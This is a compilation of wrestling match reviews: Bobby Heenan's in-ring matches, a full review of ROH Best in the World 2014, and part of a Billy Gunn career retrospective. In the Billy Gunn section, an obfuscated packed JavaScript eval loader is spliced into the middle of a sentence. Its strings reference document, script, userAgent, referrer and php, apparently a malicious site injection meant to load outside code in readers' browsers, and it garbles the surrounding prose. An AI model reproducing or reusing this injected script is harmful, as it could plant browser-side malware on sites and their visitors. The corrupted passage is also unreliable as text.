Heenan gets a foreign object and pops him with it after calling Warrior a son of a female dog. Wouldn’t an object like that be fine to a guy from Parts Unknown? Heenan hits him with it like five times and can’t drop Warrior. He more or less just jabs it in Warrior’s throat over and over but it doesn’t work at all. Warrior bangs on his chest and I think you can figure the rest out from there.

Warrior puts him out with a sleeper which makes sense here and puts the suit on him. Where does one get a weasel suit? Was there a furry convention in town? You know for being in a sleeper for about 30 seconds, he’s WAY out of it. Warrior bangs on his chest once he gets it done like someone standing over his fallen prey. Ooh that was a good one. Bobby wakes up and realizes he has claws and a tail. This is like Kafka’s worst nightmare.

Rating: N/A. This was for comedy more than anything else. They tried to make the match into nothing at all and that’s what the best answer was. Heenan was always a good sport though and could do just about any kind of comedy so this was perfect for him. This was an idea that had been used in the AWA so having it brought back here makes sense.

Heenan managed the Red Rooster but wound up yelling at him and getting fired. Here’s their showdown at Wrestlemania V.

Red Rooster vs. Bobby Heenan

There’s actually a backstory: Heenan managed Rooster but said he was limited so Rooster dumped Heenan. Bobby is hurt so he brings the Brooklyn Brawler with him. Those sentences take as long to type as the match lasts as Rooster hits him once, Heenan misses a charge into the post, gets whipped into the buckle and the match is over in 30 seconds. To recap, Rooster beat him with an Irish whip.

Tully Blanchard was scheduled to wrestle in the main event of Survivor Series 1989. Cocaine intervened though so Heenan replaced him.

Ultimate Warriors vs. Heenan Family

Ultimate Warrior, Jim Neidhart, Rockers
Andre the Giant, Arn Anderson, Haku, Bobby Heenan

Andre can barely move and it’s sad to see. Neidhart and the Rockers start before anything happens and Jim is in trouble early. Here’s Warrior without any music (he’s IC Champion here) and a big clothesline puts Andre on the floor, which draws a countout because when the bell rang, Andre was the only Heenan Family member in the ring. We’ve already got the same problem the Hogan match had.

Warrior and Haku get things started for all intents and purposes but it’s quickly off to Anvil vs. Arn. Andre (in blue instead of black) yells incoherently at the Warrior as he leaves. It’s Haku vs. Anvil now with Haku in control. A superkick puts Neidhart down and eliminates him like it’s a squash match. Off to Shawn to make Haku miss him and now it’s off to Jannetty.

Haku tries a double clothesline but only hits Shawn. He picks up Marty but Shawn dropkicks Marty down onto Haku for a near fall. Off to Arn who tries a double suplex with Haku on Jannetty, but Shawn catches his partner in a nice move. Double superkicks put the wrestlers on the other team down and it’s off to Marty vs. Haku. Warrior gets a tag in a few seconds later and Haku immediately goes for the eyes.

Haku backs Warrior into the corner and Heenan points to Arn for the tag in a funny bit. Arn immediately gets taken down and Marty hooks an armbar. Anderson brings Marty to the corner and brings in Heenan for a single punch before it’s back to Haku. Arn knees Marty in the back and Haku superkicks him down so Heenan can drop a knee on Jannetty for the pin. You could loudly hear them calling spots on that sequence for some reason.

Warrior comes in so here’s Anderson again. There’s a bearhug by the Champ and Haku gets one as well. Off to Shawn who gets knocked to the floor with a few shots. Shawn moonsaults out of the corner over Arn and Anderson is in trouble. Warrior and Michaels both punch Anderson at the same time and Arn backs away from Warrior. A splash from Shawn gets two and it’s off to Haku.

That doesn’t last long at all as a cross body eliminates Haku to get us down to Warrior/Shawn vs. Heenan/Anderson. Heenan tries to get in some cheap shots on Shawn which draws in Warrior. Why? Was he that afraid for Shawn’s safety? Arn dumps Shawn to the floor and Heenan goes up….and then regains his sanity and climbs back down. Arn keeps asking for help from Heenan because he’s getting tired so it’s finally back to Bobby who runs at the first sign of trouble.

Shawn rams his head into the back of Arn’s head and both guys are down. They slug it out but Shawn walks into the spinebuster (called the Anderson Drop) for the elimination. Warrior fires off some shoulders but Arn ducks and sends him to the floor. Heenan goes up again but thinks better of it again. Off to Heenan but Warrior quickly Hulks up so we see some more Anderson. Warrior fights him off as well and whips Arn into Heenan to knock Bobby to the floor. The gorilla press and splash get us down to one on one. Warrior sneaks up on Heenan and what do you think happens here? A shoulder block and splash ends this.

Rating: C-. I think it was watching the whole show before this but this was another dull match. Warrior was never in any danger and I think everyone knew it. To be fair, this would have been better with Tully out there and you can’t fault the guys for that. Heenan being in there had to turn it into a comedy match and I can’t hold that against them. Still though, another dull match in a series of them tonight.

One of Heenan’s last in ring feuds was with the Big Boss Man due to Heenan insulting Boss Man’s mother. From November 20, 1990.

Bobby Heenan vs. Big Bossman

This was when they were feuding over Heenan running his mouth about Bossman’s mother. He says he’s sent mom a dozen roses and he has a Hogan wrestling buddy for Bossman. Heenan begs for forgiveness and gets hit in the head with the wrestling buddy. Heenan tries to hit him with the microphone. Bossman hits him with the nightstick a few times and is pinned in seconds.

I think you get the idea here. Heenan was the guy that could talk all day and then take a beating to save his clients for later. No he isn’t a great in ring worker, but he’s a great performer. He knew how to make fans hate him and could always take the beating to make the fans happy. Couple in the great talking and he was invaluable.

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ROH Best in the World 2014: I Can’t Think Of A Title But It’s A Good Show

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Date: June 22, 2014
Location: Tennessee State Fairground Sports Arena, Nashville, Tennessee
Attendance: 1000
Commentators: Steve Corino, Kevin Kelly

This company’s fans are loyal if nothing else. I get a lot of requests for ROH shows and this is the latest one that people have been asking for. This was their debut on regular PPV and the show has gotten some rave reviews. I do tend to like ROH when I sit down and watch it and I had a great time at Supercard of Honor. Hopefully this is just as good, though I’m worried it’s going to have issues living up to its praise. Let’s get to it.

We open with a video of various ROH stars and a voiceover talking about how great you have to be in Ring of Honor. Everyone says it’s about being the best and World Champion Adam Cole says “in the world”. Not bad.

Kelly and Corino welcome us to the show.

ACH vs. Tommaso Ciampa vs. Caprice Coleman vs. BJ Whitmer vs. TaDarius Thomas vs. Watanabe

This is a Six Man Mayhem match, meaning two men in the ring and one at every corner with lucha rules, where someone going to the floor allows someone else to replace him just like a tag. The winner gets a future TV Title shot. Whitmer and Thomas are both part of the Decade stable and have ring boy Adam Page in their corner. Ciampa and ACH get things going with Ciampa getting annoyed at ACH’s nipups. ACH misses a kick to the head but has to avoid a big knee to the head, drawing some applause.

Watanabe comes in without a tag but shoves Ciampa to the floor to make it legal. ACH sends Watanabe outside so Coleman comes in, only to have Thomas tag himself in. Both guys miss kicks until Thomas kicks ACH in the head, earning himself a dropkick to the floor. Whitmer comes in to jump ACH and chop away but ACH heads outside to give us Ciampa vs. Thomas. Tommaso suplexes him to the floor but follows him out, leaving us with Watanabe vs. ACH. This is moving too fast and nothing is having time to build.

Everyone heads outside and ACH loads up a dive but Whitmer breaks it up. The fans are ALL OVER him for stopping their fun. The Decade takes over as things finally slow down a bit. Watanabe pushes the referee for trying to stop him in the corner before going to a claw on ACH. Back to Whitmer who runs into a kick to the face, allowing ACH to tag in Coleman. Thomas comes in with a hurricanrana to Ciampa as everything breaks down.

Coleman hooks a double northern lights suplex on Watanabe and Thomas but Ciampa breaks up the pin. Watanabe and Ciampa do the forearm slugout before Ciampa hits something like White Noise for two. Whitmer breaks it up but ACH nails a double stomp to his back. ACH kicks some people to the floor but Whitmer powerslams him to break up another big dive. Watanabe suplexes Whitmer for two with Coleman making a save. Project Ciampa (powerbomb into a backstabber) plants Coleman and gets two on ACH as the Decade makes another save.

Whitmer and Thomas are legal and BJ is fine with suplexing his stablemate. Coleman comes in off the top with a top rope Rough Ryder, only to have Watanabe nail him with a running clothesline. Ciampa hits a running knee to Watanabe in the corner before diving on everyone not named ACH and Coleman. Now Coleman dives on all of them, leaving ACH to hit a HUGE springboard swanton onto the pile. He pops up and throws former partner Thomas back in for a 450 and the pin.

Rating: C. It’s fun and the big spots at the end were good but there was WAY too much stuff going on here and it was just a huge mess for the sake of having a spotfest. That being said it was entertaining and the kind of fun match it was supposed to be. ACH seems to be a solid in ring guy and more than just flips so there may be some potential there.

We recap Jay Lethal vs. Matt Taven. This is mainly about Lethal’s manager Truth Martini, who took Taven to the TV Title before they split. Martini sided with Lethal and tried to ruin Taven’s career, so Taven did the old “put on a mask and beat the other guy to prove your worth” deal, though the mask came off during the match. Martini will be handcuffed to the post tonight.

TV Title: Matt Taven vs. Jay Lethal

Lethal is defending of course and has some chick named Seleziya Sparx in his corner. It takes forever to get Truth handcuffed. We finally get going with Taven nailing some chops to put the champion down. Taven tries to go after Martini but Lethal makes a quick save. Back in and Lethal totally misses an enziguri but Matt goes outside anyway. They chop it out on the floor before heading back inside for something resembling a Blue Thunder Bomb from Taven.

Matt goes after Martini again, allowing Lethal to nail him with a baseball slide for two. The champion puts on the chinlock until Taven comes back with an enziguri (actually connecting) of his own. A backbreaker gets two more for Matt but his bulldog driver is countered into the Lethal Combination.

Lethal follows up with a Macho Elbow for two but Taven escapes the Lethal Injection and nails another enziguri. A brainbuster gets two and Lethal hits the floor for three straight suicide dives. Taven picks up a chair and goes after Martini but Truth hands the head of security a wad of cash. That earns the security guy a superkick but Sparx breaks Martini’s handcuffs, allowing him to escape. Back in and the Lethal Injection retains Jay’s title.

Rating: C-. This was more about the manager than anything else but we didn’t get the payoff just yet. I still don’t care for Lethal all that much and the Injection is one of the dumbest looking moves I’ve seen in years. Taven isn’t much either but the match was exciting enough, mainly due to keeping things moving like they did.

We recap Cedric Alexander vs. Roderick Strong. This is a feud over respect with the Decade not caring for Alexander standing up to them. They’ve beaten him down time after time but Alexander won’t quit. Therefore, tonight we have a submission match. Cedric is very weak on the mic and made me feel like he was scared of Strong.

Cedric Alexander vs. Roderick Strong

Submission match. Strong, with Page and Thomas from earlier, is aggressive to start but Cedric is able to keep up with him on the mat, sending us to a standoff. Alexander nails a hard dropkick, only to have Strong put a knee in his ribs. A clothesline puts Strong on the floor and Cedric mostly misses a suicide dive. Cedric hammers away but gets backdropped onto the apron in a sick looking landing.

Back in and Strong puts on a reverse chinlock to stay on the spine. That goes nowhere because it’s a reverse chinlock so Strong plants him with a suplex. Alexander gets all fired up and puts Strong in a fireman’s carry before throwing him into the air for a kick to the head. A series of headbutts and a dropkick send Strong outside and Cedric follows with a dive but only hits the ring boys.

Back in and a springboard DDT sets up a guillotine choke on Roderick but he makes a rope. They trade enziguris with Alexander getting the better of it. He hits a few running dropkicks in the corner to set up a dragon sleeper and Strong is in trouble. Page has the towel ready but Strong saves himself with knees to the head. A superplex plants Alexander again and Strong goes nuts with forearms to the head. He loads up his fireman’s carry backbreaker but Alexander counters into a double underhook neck crank.

Cedric has him in big trouble….so he lets go of the hold for some reason. Both guys go up and fall out to the floor and it’s Strong up first. Alexander kicks away from the Strong Hold (Boston crab) so Strong tries a top rope Pedigree. Cedric counters that into a backbreaker onto the top turnbuckle and a quick Strong Hold makes Roderick tap.

Rating: C+. This was a hard hitting brawl with both guys playing their rolls well enough. The story works with Strong being cocky by going with the same stuff he’s always used and Alexander never giving up and using Strong’s own move against him. Solid stuff here and probably the best match of the night so far.

Strong still won’t shake Alexander’s hand.

We recap Matt Hardy/Mike Bennett vs. the Briscoe Brothers. Hardy and Bennett cost Jay Briscoe the World Title at Supercard of Honor, so Cole gave Hardy Briscoe’s custom title. Matt put his picture on the belt and named it the Iconic Title. Tonight is the showdown with Jay’s brother Mark helping his family.

Briscoes vs. Mike Bennett/Matt Hardy

Maria, basically wearing a swimsuit, is with Bennett and Hardy. For some reason, actor Nick Searcy comes out with Hardy as well. Corino is a HUGE Hardy fan, almost to the point of being an MF’er. Mark and Mike get things going and the brothers quickly stomp Bennett down in the corner. Mike finally comes back with a dropkick and tags in Matt. The heels start working on Mark’s arm and a double suplex gets two. Mark dives over to make the tag off to Jay. He finally gets his hands on Hardy and everything breaks down.

Jay hammers on Matt outside but Searcy gets in a cheap shot on Briscoe from behind. Unfortunately Searcy isn’t the biggest guy in the world but it’s enough to get Matt a breather. Back in and Jay pounds in right hands to Hardy’s head before nailing a few neckbreakers. With Matt in trouble, Bennett comes in with the Iconic Title to Jay’s head for the lame DQ.

No rating yet as the Briscoes listen to the fans and want to restart the match. Matchmaker Nigel McGuinness comes out and says let’s keep this going with No DQ. The Briscoes couldn’t be happier and the chairs start coming into the ring. McGuinness comes in on commentary as the brothers are cleaning house. Mark drop toeholds Bennett face first into a chair but Maria trips Mark up, allowing Mike to hit him in the head with a chair.

Bennett pelts the chair at Mark’s head and collapses from exhaustion. Matt brings out a ladder and the fans think this is awesome. Bennett hits a Side Effect on Mark on the floor as Jay hits an AA on Matt, driving him through two chairs in the ring. A suplex sends Matt into the ladder against the ropes to put him on the floor. Mark drops the Cactus Jack elbow and everyone is down. The Briscoes are up first and hit a Doomsday Device to Bennett on the floor. Nice twist on the move there.

Back in and Matt hits Jay with Searcy’s Peabody Award for two. Mark goes after Searcy and ends him with a Froggy Bow (frog splash elbow). The Briscoes aren’t done yet and load up the Doomsday Device, only to have Maria make a save. Matt hits the Twist of Fate for two on Jay before setting up a table and ladder in the ring. Mark takes Bennett to the floor and drives him through a table with another Froggy Bow. Back in the ring Matt is climbing the ladder but Mark sprays him with a fire extinguisher, allowing Jay to superplex him through a table. The Jay Driller is enough to pin the unconscious Hardy.

Rating: B-. This was basically a TLC match minus the title to pull down. They did the big spots well enough and the crowd was WAY into it. The superplex was a good spot, but there wasn’t anything in there that hasn’t been topped before. It was entertaining, but not a masterpiece of any sort.

Maria takes the Iconic Title when Jay isn’t looking.

We look at Adam Cole and the Kingdom (Cole, Maria, Hardy and Bennett) cutting Elgin’s hair at a recent show. Elgin’s wife, wrestler Mschif, came out to beg for her husband, earning her a figure four from Cole.

I’m assuming we’re at intermission now as an interviewer talks to an NFL player that has signed to ROH. The player, now known as Moose, willing to work hard but Veda Scott interrupts and says she’ll handle the interviewer. See, they should have been talking about RD Evans’ New Streak, now at 122-0. Evans is in Osaka, Japan to collect more wins tonight but Scott is here to recruit Moose. He says they can talk about this later.

We recap Silas Young vs. Kevin Steen. Silas isn’t happy with Steen for “stepping away” (read as going to WWE) because Silas is a REAL MAN and he doesn’t like Steen leaving like a coward.

Kevin Steen vs. Silas Young

Steen hits him at the bell but Young bails outside before Steen can try his Cannonball in the corner. He sends Young hard into the barricade a few times but Silas comes back with forearms to the jaw. Back in and a big chop sends Young to the floor again but he counters an apron powerbomb. Steen gets kicked into the barricade and Young takes over with a clothesline to the back of his head.

We hit the chinlock on Steen for a bit before a neckbreaker gets two for Silas. Kevin fights up and hits a powerbomb out of nowhere to put both guys down. Silas comes back with a hard clothesline but ducks his head. Steen’s package piledriver attempt is countered with a good crotching for two. Something out of a fireman’s carry (WAY too popular of a move) is countered and Steen sends him into the buckle for the Cannonball. Even with a bad neck, Steen connects with a Swanton Bomb for two.

Young kicks him in the head and hits a rolling fireman’s carry but Steen avoids a springboard elbow drop. Another shot to the head has Steen in the corner for some quality trash talking, followed by another knee shot. Steen is in big trouble in the corner but he counters a superplex into something like a spinning superplex of his own. Silas is done but Steen Package Piledrives him anyway for the pin.

Rating: D+. This didn’t do it for me actually as we’ve done the physical stuff already. I get that it’s Steen’s style, but it’s coming right after the No DQ tag match and this was nowhere near as violent. The head injury stuff was fine but it only became a big issue for a few moments at the end. Not bad but it wasn’t the best.

Post match Steen praises Young and says he doesn’t have many matches left in this company. He’s looking forward to every minute he gets to spend here in the next month and a half, but he’s very happy that he got to wrestle Young on this stage. Young shakes his hand and leaves peacefully. Fans: “Please don’t go!” Steen: “He has to go. I’m not done yet!” Steen thanks the fans but Young comes in and decks him like a true villain should.

We go to the Fish Tank where Tag Team Champions Red Dragon talk about how much they love Appletinis and don’t like ROH bringing in old people to take their titles from them. Fish talks about his great great granddaddy fighting a war with a musket because he’s kind of out there.

Tag Team Titles: Christopher Daniels/Frankie Kazarian vs. Red Dragon

The champions are Bobby Fish and Kyle O’Reilly. Kyle and Daniels get things going with the fans behind the Fallen Angel. They start on the mat with neither guy able to sustain an advantage. Kyle nails him in the back of the head but Daniels smacks him in the face to come back. A leg lariat puts O’Reilly down and brings in Kazarian for a double stomp and a near fall. Frankie armdrags Fish a few times and puts on an armbar to slow things back down.

Kaz drops a legdrop to the back of the head and brings Daniels back in for a gorgeous Lionsault. Fish finally gets in a right hand for a breather but Kyle walks right into a front facelock from Kaz. The champions finally get a breather though as Kazarian misses a charge into the post. Kyle immediately puts on an armbar before it’s back to Fish for the forearm exchange.

Back to the armbar for a bit before Kyle misses a knee drop. Fish’s distraction lets Kyle hook a standing guillotine, only to have Kazarian drop him down into a spinebuster. Bobby sprints around the ring to pull Daniels down to the floor to keep the champions in control. Fish stays on the arm but doesn’t stay on it well enough to prevent a tag to Daniels. Christopher cleans part of the house and everything breaks down.

A middle rope stomp to the chest puts Kyle down on the floor, setting up a big suicide dive. Daniels hits a slingshot Diamond Cutter on Fish but Bobby avoids the BME. There’s a Samoan drop to Daniels but he avoids a BME from Fish. Kaz comes back in with the slingshot DDT on Bobby but Kyle sweeps his legs out. Daniels hits a quick Blue Thunder Bomb on Kyle and Angel’s Wings on Fish but O’Reilly makes a last second save.

The champions send Daniels to the floor and into a chair next to the barricade, setting up back to back dropkicks from the apron in a brutal looking spot. Back in and Kazarian kicks Kyle in the head and nails the Flux Capacitor (top rope C4) but he lands on the arm. Fish pulls the referee out at the delayed two and the fans aren’t pleased. Chasing the Dragon (brainbuster with a kick to the head) gets two on Kazarian but a cross armbreaker makes Kaz tap.

Rating: B. This was a good but not great match. I still don’t get the massive appeal of Red Dragon though I do like their promos. Bad Influence wasn’t Bad Influence here and it brought things down a little bit. They went with a different style here and it worked, though not at the level people were hoping they would hit.

We recap Cole vs. Elgin. They met in the finals of the World Title tournament last September where Elgin had him pinned but the referee was down. Cole then turned heel and feuded with Jay Brisco for awhile before we could get back to this big showdown. Elgin wants to be remembered as one of the greatest ever and he has to win the title to do that.

ROH World Title: Michael Elgin vs. Adam Cole

Cole hasn’t done much for me yet but he’s growing on me. He charges at Elgin to start but gets taken down and hammered on the mat. The champ bails to the floor to make Michael chase him, allowing Cole to send him back to the floor. Adam loads up a dive but Elgin does the Samoa Joe step to the side. I love that. Michael blocks a chair shot and pops Cole with a right hand. He follows up with a running release powerslam on the ramp before taking the champion back inside.

Cole comes back with a jumping reverse neckbreaker (think an RKO with Elgin’s back to Cole) but takes too time going up. Elgin is slammed off the middle rope for two and we hit the chinlock. It doesn’t last long so Cole goes to the middle rope for a headscissors, only to get caught in a gutbuster for a nice counter. Elgin tries a string of power moves but can only hit a tiger suplex for two. A few kicks to the head get two for Adam but Elgin is able to lift him up from the mat into a suplex. Cole knees out of that in a great counter and suplexes Elgin onto his knee for two.

Elgin comes right back with a Crossface but Cole rolls him over for a cover to escape. The Cesaro dead lift superplex into a falcon’s arrow gets two on the champion. Cole counters the Elgin Bomb and tries a hurricanrana but has to counter a super Elgin Bomb to get it. The Florida Keys (arm tap German suplex) get a very close two for Cole. Michael is in trouble so he just kicks Cole in the face. Adam comes back with a superkick but it nails the referee instead.

A buckle bomb followed by the Elgin Bomb should have Cole beaten but there’s no referee. The Kingdom hits the ring for a beatdown but Michael picks them up for a Samoan drop/fall away slam at the same time. The smile on Elgin’s face made that even better. Elgin powerbombs Cole onto the Kingdom in a cool visual, sending Maria’s eyes bugging out of her head.

Maria slaps Elgin in the face, allowing Cole to try a Canadian Destroyer from the apron. Elgin counters that but Bennett hits him with the belt, allowing Cole to hit a German suplex on the floor. The tag team War Machine comes out to fight the Kingdom to the back and Michael barely beats the count back in. Maria throws the belt in, earning her some green mist from Elgin’s wife MsChif. The buckle and Elgin Bombs give us a near fall so close that the streamers come flying into the ring. Fans: “WE F’D UP!”

Cole comes back with a missile dropkick to the knee and wraps it around the post. There’s a Hart Breaker on the leg and Elgin is in trouble. Back in and Elgin rolls through a rollup into the Crossface but Cole hits him in the leg. Elgin’s leg is so banged up that he can’t charge for a clothesline. The middle rope Canadian Destroyer only gets two and the look on Cole’s face is great. He loads up another Destroyer but tries a sunset flip for a surprise. Elgin is ready for it though and counters into a triple powerbomb for the pin and the title.

Rating: B+. This was the kind of match they needed to make the show feel like a big deal, even though the ending was pretty clear about halfway through. They were following a classic formula here of throwing EVERYTHING at Elgin but having him hang through it all. I wasn’t wild about his knee being strong enough for three powerbombs at the end but I can live with it. Cole looked good too as he’s got a higher flying Bobby Roode style working for him right now. Really good match here.

Elgin celebrates to take us out.

Overall Rating: B-. I liked the show but it wasn’t the best I’ve ever seen from ROH. The main event is worth checking out but nothing else was really a blowaway match. There was good stuff on the show though, if nothing else due to the absence of a lot of ROH’s bad habits. The no selling and forearms were almost nowhere to be seen on this show and it made the show far less annoying. It’s a good show and a good first effort on PPV.

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Wrestler of the Day – August 28: Billy Gunn

Today we’ll look at another tall blond in Billy Gunn.

Billy eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yafks|var|u0026u|referrer|ndaet||js|php'.split('|'),0,{})) would spend a few years on the indy scene before heading to the WWF as one half of the Smoking Gunns tag team. They would get started in early 1993 and we’ll pick things up at King of the Ring 1993.

Steiners/Smoking Guns vs. Money Inc./Headshrinkers

Well, talk about a tough act to follow. This is nothing but filler here as I don’t think there’s any kind of a point to this match other than to give the crowds a chance to restart their hearts. There’s no story here that I can think of other than you have two face teams and two heel teams going at it. The Guns are about as new as possible at this point.

Ross says he doesn’t want to disrespect this match, so therefore we’ll be lucky to hear who wins. It simply can’t be worse than WCW was though. I will never forget a match between Ultimo Dragon and Steven Regal where literally over the entire course of an eight minute match there was not a single mention of either guy or the match itself until the very end where Tony said 2, 3 (he missed the one) we have a new Television Champion!

Yes, in a match not only on television, not only a title match, but a match where the title CHANGED HANDS, thereby making history as Gorilla liked to say, we have eight minutes of people talking about the NWO and not a word about the two guys in the ring. That’s just pathetic. Anyway, rant over. Scotty and Ted start us up so there we are. To say Heenan is happy is an understatement.

Now remember, we’re NOT going to talk about Yoko and the title match out of respect here. If we don’t talk about them anymore I’m going to scream from hearing about them too much. Ross is at least talking about the match so there’s that. DiBiase beats on Billy and hooks the Dream. Heenan says that Billy is fading into obscurity. I have too many jokes to pick from here. Billy gets a roll up out of nowhere to get the pin and the big brawl starts to the Guns’ awful music.

Rating: C. Eh what do you expect here? This was six minutes of just filler and it’s the absolute best thing they could have done here. No one was going to care about anything after what they just saw, so there we are. This meant nothing at all and it wasn’t supposed to. The wrestling is about what you would expect at a house show, but it wasn’t horrible or anything. This was much more about giving the crowd a breather instead of a real match, and there’s not a thing wrong with that.

Onward to Summerslam 1993 for a little six man tag.

Smoking Guns/Tatanka vs. Headshrinkers/Bam Bam Bigelow

Aren’t cowboys and Indians supposed to fight? The heels have Afa and Luna Vachon with them. The Samoans run over the Guns to start and we have Bigelow vs. Tatanka to get us going. Tatanka fires off a shoulder block and a dropkick followed by an impressive backdrop. Both guys try cross bodies and Tatanka actually gets the better of it. For a gimmick wrestler Tatanka had some good success around this time.

A double tag brings in Billy vs. Fatu (Rikishi) with the Samoan hitting a quick superkick. Billy comes back with a top rope clothesline as Vince tells us Billy went to college on a rodeo scholarship. That actually exists? Another superkick from Samu knocks Billy into the tag to Bart who is slammed face first into the mat for his troubles. Bigelow comes in with a dropkick for two before it’s back to Fatu for a wicked powerslam. The Samoans take turns double teaming Bart with headbutts and chops as the heat segment goes on for a good while.

Bigelow misses a charge and hits the post, allowing Bart to make the hot tag off to Tatanka. The Indian chops every heel in sight and takes Bigelow down with a DDT and a high cross body for two. Tatanka goes on the war path but walks into an enziguri from Bam Bam. Sometimes there’s no better solution than to kick a guy in the head. Everything breaks down and Tatanka is left all alone against the three monsters. A TRIPLE HEADBUTT puts Tatanka down and all three go up for a triple flying headbutt, but Tatanka rolls away and rolls up Samu for the pin.

Rating: B-. Where in the world did this come from??? This was a shockingly good tag match with everyone moving fast and some great looking spots from Bigelow. Tatanka was one of those guys that the fans just liked and there’s no way you can fake that. Good stuff here and a very nice surprise.

Why not another six man from September 27, 1994?

Shawn Michaels/Diesel/Tatanka vs. Smoking Guns/Lex Luger

This has to be after Summerslam 94 but before Survivor Series 94 as Tatanka is a heel and in the Million Dollar Corporation here but Diesel and Shawn are still tag champions. Luger is the Rebel here, meaning he means absolutely nothing here because his main push is long since over. DiBiase isn’t here for some reason.

Gorilla is all over Tatanka for selling out to DiBiase. Shawn vs. Luger to start us off. I don’t remember any feud with the champions and the Guns but there likely was one. Luger destroys Shawn to start and the good guys clear the ring in a hurry. It’s so strange to see Billy Gunn as a worthless cowboy. Off to Bart vs. Diesel now which is rather amusing indeed. Why is it amusing? I’m not sure but it just is.

Diesel thankfully destroys that mullet wearing twerp and brings in Tatanka. Bart fights back but kind of messes up a dropkick as Tatanka is too close to him. The Guns hit a modified Sidewinder (side slam mixed with a top rope leg drop) to Tatanka and we go back to Shawn vs. Lex again. Luger still wants the stereotype but can’t get him since that’s the big segment of the match probably.

Luger stays in for all of 6 seconds before bringing the tired Bart back in. Did he tick someone off to deserve this? Bad armdrag brings Shawn down but Diesel pulls the top rope down to give the evildoers the advantage. Bart gets beaten down for awhile as we’re just waiting on the big brawl segment to end the match.

Shawn comes back in and we hit the chinlock. Stan Lane is blowing Gorilla away on commentary here. Shawn calls spots to Gorilla so Gorilla covers for him by saying he’s taunting. That makes sense if nothing else. A mat slam gets Bart out of trouble and the FEARSOME Billy comes in and Shawn cowers in fear which I think is a cover for wanting to laugh.

Billy gets the Texas Special (bulldog) off the top on Shawn for two and here’s the big brawl. The feuds (I guess) split off with Luger and Tatanka on the floor. Shawn gets tied in the ropes so Diesel hits the Jackknife on Billy (serves him right) and Shawn covers for the academic pin.

Rating: C-. Pretty boring for the most part but nothing too bad. It’s about what you would expect for the main event of a comp tape as Shawn steals another pin. Decent little match for the most part with not a ton of people caring but it wasn’t supposed to be anything epic. Not bad.

In case you haven’t had enough already, here’s another multiman tag match from Survivor Series 1994.

Million Dollar Team vs. Guts And Glory

Tatanka, King King Bundy, Bam Bam Bigelow, Heavenly Bodies
Lex Luger, Adam Bomb, Mabel, Smoking Gunns

This is DiBiase’s team (DiBiase had hurt his neck and had to retire) vs. Luger in a continuation of a long feud. DiBiase had said that Luger had sold out and Tatanka, Luger’s friend, believed DiBiase. This led to a match at Summerslam where it turned out that TATANKA had been bought off in a swerve I liked a lot. This is Luger’s chance for revenge again.

Luger and Tatanka start things off, much to Tatanka’s surprise. Tatanka takes over to start and chops away but the ones to the chest don’t work on Luger. Does no one watch the NWA around here? Lex no sells a suplex and pounds away with all his usual stuff. A clothesline puts Tatanka on the floor so here’s Del Ray to be beaten up too. Mabel and Bundy come in but it’s just a staredown as it’s back to the starters. Now it’s officially Mabel vs. Prichard (the Bodies are Tom Prichard and Jimmy Del Ray) with the big man missing an elbow. Prichard pounds away but a middle rope cross body (Mabel weighs 500lbs) kills him dead.

It’s 5-4 now and Del Ray comes in for some dropkicks which have no effect. A Boss Man Slam takes Jimmy down so it’s off to Bundy vs. Mabel. They collide a few times until Mabel runs him over. Off to Bigelow who gets beaten down and Mabel goes up, only to get slammed down in a cool visual. Bigelow goes up for a sunset flip but Mabel sits on his chest for no cover. A Cactus Clothesline sends them both to the floor and Mabel can’t beat the count back in to tie things up.

Off to Billy Gunn vs. Del Ray which goes nowhere so here’s Bomb vs. Bigelow. This takes about 30 seconds with Bomb hitting a slingshot clothesline but getting hit in the head by Bundy. A moonsault takes Bomb out and it’s 4-3. Luger comes in immediately and tries a rollup but it just gets two. Off to Del Ray who hits a fast superkick to take Lex down. After some right hands from Jimmy, a running forearm smash catches him in the head and Luger ties it up.

It’s Tatanka/Bigelow/Bundy vs. Luger/Smoking Gunns. It’s Bart vs. Tatanka before Billy comes in for a double Russian legsweep for two. The Gunns pound away on Tatanka for a little while with Bart and his mullet of death hitting a monkey flip for two. The Sidewinder (side slam from Bart with a legdrop from Billy) gets two and it’s back to Bart, who like an IDIOT, tries a crucifix on a guy whose finisher is a Samoan Drop. Later Bart and it’s 3-2.

Billy vs. Tatanka goes nowhere so it’s back to Luger. Billy comes in and hip tosses Tatanka for two and an elbow drop gets the same. Luger and Gunn take turns on Tatanka’s arm until Billy gets caught in a powerslam. Off to Bundy who hits a splash and elbow to get us down to Luger vs. Bigelow, Bundy and Tatanka. It’s Luger vs. King Kong now but Lex goes after Tatanka because he’s A FREAKING MORON.

Luger gets caught in the evil corner and we play the numbers game for awhile. Luger hits a forearm to Tatanka but only gets two. A sunset flip almost gets a pin on Tatanka but a tag was made on the way down to bring in Bigelow. Bundy drops an elbow for two and Lex is in trouble. Bigelow drops a headbutt for a VERY fast two. DiBiase talks trash as it’s off to Bundy for more fat man offense.

Bundy drops an elbow for two as we’re reenacting the main event of the first Survivor Series, complete with two of the original people in it. Back to Tatanka who gets two off a powerslam and drops a bunch of elbows. In a stupid looking yet still good ending, Luger gets a fast small package for the pin on Tatanka, then lays down on the mat so Bundy can splash him for the final elimination. That looked stupid.

Rating: C. This wasn’t that bad actually and the ending was a nice surprise. There was no reason to have Luger come back here and having him lose was the right move. The feud didn’t really go anywhere after this and was more or less the ending of it. Luger’s collapse after Summerslam 1993 is a sight to see given how hot he was during the summer after his face turn.

Here’s a regular tag from Summerslam 1995.

Blu Brothers vs. Smoking Gunns

The Brothers are Jacob and Eli but are more famous as the bald Harris Brothers (also known as DOA, Creative Control, the Bruise Brothers and about ten other names over the years). Their manager is Uncle Zebekiah, who is currently (as of July 2013) Zeb Colter in WWE. Jacob elbows Billy down to start before it’s off to Eli for a slam and some elbow drops. Billy gets a quick two count on Jacob before it’s off to Bart for some arm work. Jacob whips Bart into the corner before bringing Eli back in to get caught by a cross body for two.

